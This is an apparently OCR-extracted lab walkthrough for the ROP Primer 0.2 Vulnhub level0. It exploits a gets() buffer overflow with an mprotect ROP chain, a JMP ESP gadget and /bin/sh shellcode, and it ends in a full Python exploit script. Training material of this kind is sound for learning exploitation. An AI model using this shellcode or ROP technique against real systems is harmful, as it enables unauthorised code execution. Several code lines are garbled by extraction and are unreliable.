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Writing shellcode: https://www.exploit-db.com/papers/13224

Vulnerable machine: https://www.vulnhub.com/entry/rop-primer-02,114/

Blogs which i learned from: https://g0blin.co.uk/rop-primer-0-2-vulnhub-writeup/

ROP Primer

An introduction to return-oriented-programming.

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Level0

Warmup exercise - get started!

Login via ssh with username levelo and password warmup.

As a warmup exercise, can you exploit the following code:

```
1 #include <stdio.h>
2 #include <stdlib.h
```

4 int main(int argo char **argy char **argn)

```
5 {
6   char name[32];
7   printf("[+] ROP tutorial level0\n");
8   printf("[+] What's your name? ");
9   gets(name);
10   printf("[+] Bet you can't ROP me, %s!\n", name);
11   return 0;
12 }
```

The objective is to spawn a shell, locally. You can use ret2libc if you want, or the mprotect/read shellcode strategy (or any other of your liking =)).

The binary has been compiled on a 32-bit Kali VM and was statically linked. NX should be enabled, ASLR is disabled.

Before working on ROP, we proceed to test shellcode with this:

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x
5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x59\x59\x59\x59";

main()
{
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
```

What is essentially done is we taking the shellcode and testing it in this C code
Why there is a need for -z execstack is because if that flag isn't present the executable will crash due to the
fact that the machine cant execute code from memory due to memory having NX active.

```
level0@rop:~$ gcc -zexecstack test.c -o test
level0@rop:~$ ls -lah | grep test
-rwxrwxr-x 1 level0 level0 7.2K Dec 18 14:55 exit_test
-rwxrwxr-x 1 level0 level0 7.3K Dec 19 13:38 test
-rw-rw-r-- 1 level0 level0 403 Dec 19 13:38 test.c
level0@rop:~$
```

If the stack is active, it will be displayed as RED with rwxp

```
peda$ vmmap
                      Perm
Start
                                /home/level0/test
0x08048000 0x08049000 r-xp
)x08049000 0x0804a000
                                /home/level0/test
                                /home/level0/test
 b7e24000 0xb7e25000
xb7e25000 0xb7fce000 r-xp
                                /lib/i386-linux-gnu/libc-2.19.so
                                /lib/i386-linux-gnu/libc-2.19.so
0xb7fdd000 0xb7fde000 r-xp
                                [vdso]
   fde000 0xb7ffe000 r-xp
                                /lib/i386-linux-gnu/ld-2.19.so
                                /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r-xp
   fff000 0xb8000000 rwxp
```

When we execute test, it pops a shell, now that our shellcode is sorted we can proceed to exploit the vulnerable program

```
level0@rop:~$ ./test
Shellcode Length: 58
$ []
```

Checking the program, it has NX enabled and it means that the stack area of the memory is non-executable

```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
```

Setting the breakpoint when the program starts, lets inspect the memory mappings when we run the program

```
gdb-peda$ br main
Breakpoint 1 at 0x8048257
gdb-peda$ 
gdb-peda$ r
Starting program: /home/level0/level0
```

Stack is only read and write as evidenced by rw-p

```
        gdb-peda$
        vmmap

        Start
        End
        Perm
        Name

        0x08048000
        0x080ca000
        r-xp
        /home/level0/level0

        0x080ca000
        0x080cb000
        rw-p
        [heap]

        0xb7fff000
        0xb8000000
        r-xp
        [vdso]

        0xbffdf000
        0xc0000000
        rw-p
        [stack]
```

Lets crash the program and see what happens

Generating predictable string so we can know the offset, offset is just located 4 bytes before the register EIP

Program crashed because when we overwrite EIP with random values, program doesn't know where to return to

```
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ []
```

Lets find where in the stack this 0x41414641 is

```
gdb-peda$ find 0x41414641
Searching for '0x41414641' in: None ranges
```

0x41414641 is just before the ESP register,

```
      gdb-peda$ x/4wx 0xbffff6ec

      0xbffff6ec: 0x41414641 0x31414162 0x41474141 0x41416341

      gdb-peda$
```

So we have overwritten the EIP with 0x41414641, but thing is we need to know the offset which is how long we have to write with random values before we overwrite EIP with our `custom values`

```
gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44
gdb-peda$
```

Lets create a custom python file so we can actually put all of this into action

```
#!/usr/bin/python
import struct # Using to convert hex to a packed binary format
def conv(hexAddr):
        # Takes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)</pre>
offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control eip = conv(0xdeadbeef) # Custom values to overwrite EIP with
bof = junk
bof += control eip
 This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)
print bof # Prints our value to the console
```

We run the exploit so we can create a text file to be used in the debugger later

This is proof that we have control of the values in the EIP and it means that we can manipulate the program to redirect code execution

```
gdb-peda$ r < exploit.txt
```

```
Starting program: /nome/levelu/levelu < exploit.txt
[+] ROP tutorial level0
Program received signal SIGSEGV, Segmentation fault.
EAX: 0x0
EBX: 0x0
ECX: 0xbffff69c --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (< libc csu fini>: push ebp)
EDI: 0xa0d0a501
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f0 --> 0x0
EIP: Oxdeadbeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
                -----code-----
           -----1
0000| 0xbffff6f0 --> 0x0
0004| 0xbffff6f4 --> 0xbffff784 --> 0xbffff8af ("/home/level0/level0")
0008| 0xbffff6f8 --> 0xbffff78c --> 0xbffff8c3 ("XDG SESSION ID=1")
0012| 0xbffff6fc --> 0x0
0016| 0xbffff700 --> 0x0
0020| 0xbffff704 --> 0x0
0024| 0xbfffff708 --> 0x0
0028| 0xbfffff70c --> 0x0
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
Oxdeadbeef in ?? ()
```

To disable NX we need to search for this mprotect function

https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/

mprotect() is a function which sets the access rights to an area of memory, it takes 3 arguments; a starting address, a length, and a mask which contains the new permissions for that area of memory. The big caveat is that the starting address must be the start of a memory page. You can get the values for the mask from the source. We can call mprotect() via syscall, setting the arguments as follows;

EAX - 0x7B - sys_mprotect syscall number

EBX - Address of Memory to change (Must align to page boundary)

ECX- Length of memory to change

EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)

Confirming what previous author said in: https://syscalls.kernelgrok.com/

This is useful for ROP without return to libc but at the moment what we need to know is

EBX - First parameter

ECX - Second parameter

EDX - Third parameter



To get the parameters, we run info proc mappings command

```
-peda$ info proc mappings
process 1418
Mapped address spaces:
       Start Addr
                    End Addr
                                    Size
                                             Offset objfile
        0x8048000
                                                 0x0 /home/level0/level0
                   0x80ca000
                                 0x82000
                                            0x81000 /home/level0/level0
        0x80ca000
                   0x80cb000
                                  0x1000
        0x80cb000
                   0x80ef000
                                 0x24000
                                                 0x0 [heap]
       0xb7ffd000 0xb7fff000
                                  0x2000
                                                 0x0
       0xb7fff000 0xb8000000
                                  0x1000
                                                 0x0 [vdso]
                                                 0x0 [stack]
       0xbffdf000 0xc0000000
                                 0x21000
```

First parameter: 0xbffdf000 -> Start Address of stack

Second paramter: 0x21000 -> Size

Third parameter: $0x7 \rightarrow Read(4)$, Write(2), Execute(1), 4 + 2 + 1 = 7

To get the address of mprotect(), we need to run this command in bash

mprotect() address: 0x080523e0

```
level0@rop:~$ readelf -s ./level0 | grep mprotect | grep -v GLOBAL 1981: 080523e0 33 FUNC WEAK DEFAULT 4 mprotect level0@rop:~$
```

So right now we need to plug the address of mprotect(), first parameter, second parameter and third parameter to our code After plugging in the value we need to intergrate it with our code so that when the program crashed at 0xdeadbeef earlier, we can determine that the stack is indeed executable.

Do note the placement of control eip variable.

```
offset = 44 # The point right before the program crashed
unk = "A" * offset # To fill the stack with junk and stop right before EIP
control eip = conv(0xdeadbeef) # Custom values to overwrite EIP with
protect addr = conv(0x80523e0) # Address of the mprotect()
protect first param = conv(0xbffdf000) # Start of stack address
protect second param = conv(0x21000) # Size of the stack
mprotect third param = conv(0x7) # Read, Write and Execute
 ROP to disable mprotect
disable mprotect = mprotect addr
disable_mprotect += control_eip # The address of to return to after executing mprotect()
disable mprotect += mprotect first param
disable mprotect += mprotect second param
disable mprotect += mprotect third param
bof = junk
bof += disable mprotect
 This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
       f.write(bof)
```

Running our exploit code to generate the text file to be used in the debugger later

Ran the exploit in the debugger and it crashed

```
gdb-peda$ r < exploit.txt
Starting program: /bame/level0/level0 < exploit tyt</pre>
```

file:///Y:/shellcode rop HTML/shellcode rop.html

```
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAA
AAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
-----registers-----
EAX: 0x0
EBX: 0x0
ECX: 0x21000
EDX: 0x7
ESI: 0x80488e0 (< libc csu fini>: push ebp)
EDI: 0xde67063
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f4 --> 0xbffdf000 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap
flow)
                          -----code-----
Invalid $PC address: Oxdeadbeef
                         -----stack-----
0000| 0xbffff6f4 --> 0xbffdf000 --> 0x0
0004| 0xbffff6f8 --> 0x21000
0008 \mid 0xbffff6fc --> 0x7
0012| 0xbfffff700 --> 0x0
0016| 0xbfffff704 --> 0x0
0020| 0xbfffff708 --> 0x0
0024| 0xbfffff70c --> 0x0
     0xbffff710 --> 0x0
```

```
----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
Oxdeadbeef in ?? ()
```

The interesting this is, the moment it crashed, the stack is executable! And this means we can execute our shellcode!

We can't just plug our shellcode right away, instead we need to change the value of variable control_eip from 0xdeadbeef to pop, pop, pop, ret to clean the stack. It doesn't matter what register we need to pop, the important thing is to get 3 mprotect() parameters off the stack so we can execute our shellcode pppRET = 0x8048882

```
level0@rop:~$ objdump -M intel -d ./level0 | less

/ret

8048882: 5e pop esi
8048883: 5f pop edi
8048884: 5d pop ebp
8048885: c3 ret
```

Putting what we said into action, the reason we put 0xbadf00d after disable mprotect() ROP is to confirm that

- 1. Parameter cleaning is successful
- 2. We still had control over the EIP value

```
# Takes the hex form, convert it to a packed binary value,
       # and returns it to the calling function
        return struct.pack("<I",hexAddr)</pre>
offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control eip = conv(0x8048882) # Custom values to overwrite EIP with
protect addr = conv(0x80523e0) # Address of the mprotect()
protect first param = conv(0xbffdf000) # Start of stack address
protect_second_param = conv(0x21000) # Size of the stack
protect third param = conv(0x7) # Read, Write and Execute
# ROP to disable mprotect
disable mprotect = mprotect addr
disable mprotect += control eip # The address of to return to after executing mprotect()
disable mprotect += mprotect first param
disable mprotect += mprotect second param
disable_mprotect += mprotect third param
control eip = conv(0xbadf00d) # This is to confirm that parameter cleaning is a success.
bof = junk
bof += disable mprotect
bof += control eip
 This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)
orint bof # Prints our value to the console
```

Now stack is disabled and we still control the EIP value

Its good that we still have the control over program flow, as for now, we actually need to put a custom value to one of the register and that the value is 0xbadf00d

```
db-peda$ vmmap
Start
                   Perm
                            /home/level0/level0
0x08048000 0x080ca000 r-xp
                            /home/level0/level0
0x080ca000 0x080cb000 rw-p
0x080cb000 0x080ef000 rw-p
                            [heap]
0xb7ffd000 0xb7fff000 rw-p
                            mapped
                            [vdso]
0xb7fff000 0xb8000000 r-xp
Oxbffdf000 Oxbffdf000 rw-p
                            mapped
0xbffdf000 0xc0000000 rwxp
gdb-peda$ r < exploit.txt</pre>
Starting program: /home/level0/level0 < exploit.txt
+1 ROP tutorial level0
AAAAAAAAAAAAAA��!
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x0badf00d in ?? ()
```

Putting our theory to action we will overwrite ESP with 0xbadf00d

```
offset = 44 # The point right before the program crashed
unk = "A" * offset # To fill the stack with junk and stop right before EIP
control eip = conv(0x8048882) # Custom values to overwrite EIP with
imp esp = conv(0x80c4d43) #
ret = conv(0x8048106)
nprotect addr = conv(0x80523e0) # Address of the mprotect()
mprotect first param = conv(0xbffdf000) # Start of stack address
mprotect second param = conv(0x21000) # Size of the stack
mprotect third param = conv(0x7) # Read, Write and Execute
clean stack = control eip
# ROP to disable mprotect
disable mprotect = mprotect addr
disable mprotect += clean stack # Clean stack after executing mprotect()
disable mprotect += mprotect first param
disable mprotect += mprotect second param
disable mprotect += mprotect third param
bof = junk # All the A's to offset
bof += disable mprotect # Disable mprotect() / enable RWX on stack
bof += conv(0xdeadbeef) # Value of EIP
bof += conv(0xbadf00d) # Value of ESP so we can do a JMP ESP
 This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
vith open(filename, 'w') as f:
       f.write(bof)
print bof # Prints our value to the console
```

Running exploit in debugger

Now we have control of values in EIP as well as ESP

ESP: 0xbffff704 --> 0xbadf00d
EIP: 0xdeadbeef

https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/

What we need to do now is find the opcode equivalent of JMP ESP. We are using JMP ESP because our EIP will point to the JMP ESP location, which will jump to our malicious shellcode that we will inject later. Finding the opcode equivalent means we are converting assembly language into hexcode. There is a tool to do this called nasm_shell.

Locate nasm_shell on your Kali machine and run it. Then, type in JMP ESP and hit enter. Your results should look like mine:

Confirming what the author said above

Finding JMP ESP in vulnerable binary

Lets put our theory in action!

Earlier we had a c program that test our shellcode and so we just need to copy over the hex values located between ""

Final exploit code!

```
#!/usr/bin/python
import struct # Using to convert hex to a packed binary format
def conv(hexAddr):
```

```
# lakes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)</pre>
offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control eip = conv(0x8048882) # Custom values to overwrite EIP with
imp esp = conv(0x80c4d43) # For jumping to our shellcode
mprotect addr = conv(0x80523e0) # Address of the mprotect()
mprotect_first_param = conv(0xbffdf000) # Start of stack address
mprotect_second_param = conv(0x21000) # Size of the stack
mprotect third param = conv(0x7) # Read, Write and Execute
clean stack = control eip # POP POP POP RET
 ROP to disable mprotect
disable_mprotect = mprotect addr
disable_mprotect += clean_stack # Clean stack after executing mprotect()
disable mprotect += mprotect first param
disable mprotect += mprotect second param
disable mprotect += mprotect third param
shellcode = "\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x18\x5b\x31\xc0\x88\x43\x07
\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\
xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59\x59
bof = junk # All the A's to offset
bof += disable mprotect # Disable mprotect() / enable RWX on stack
bof += jmp esp # JMP to shellcode below
bof += shellcode # /bin/sh to be executed
 This file is going to be useful later to test and debug exploit
```

```
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)
print bof # Prints our value to the console
```

Confirmed that code redirection to shell is successful in debugger

Remember to keep pipe open in cat, else the newly popped shell will close automatically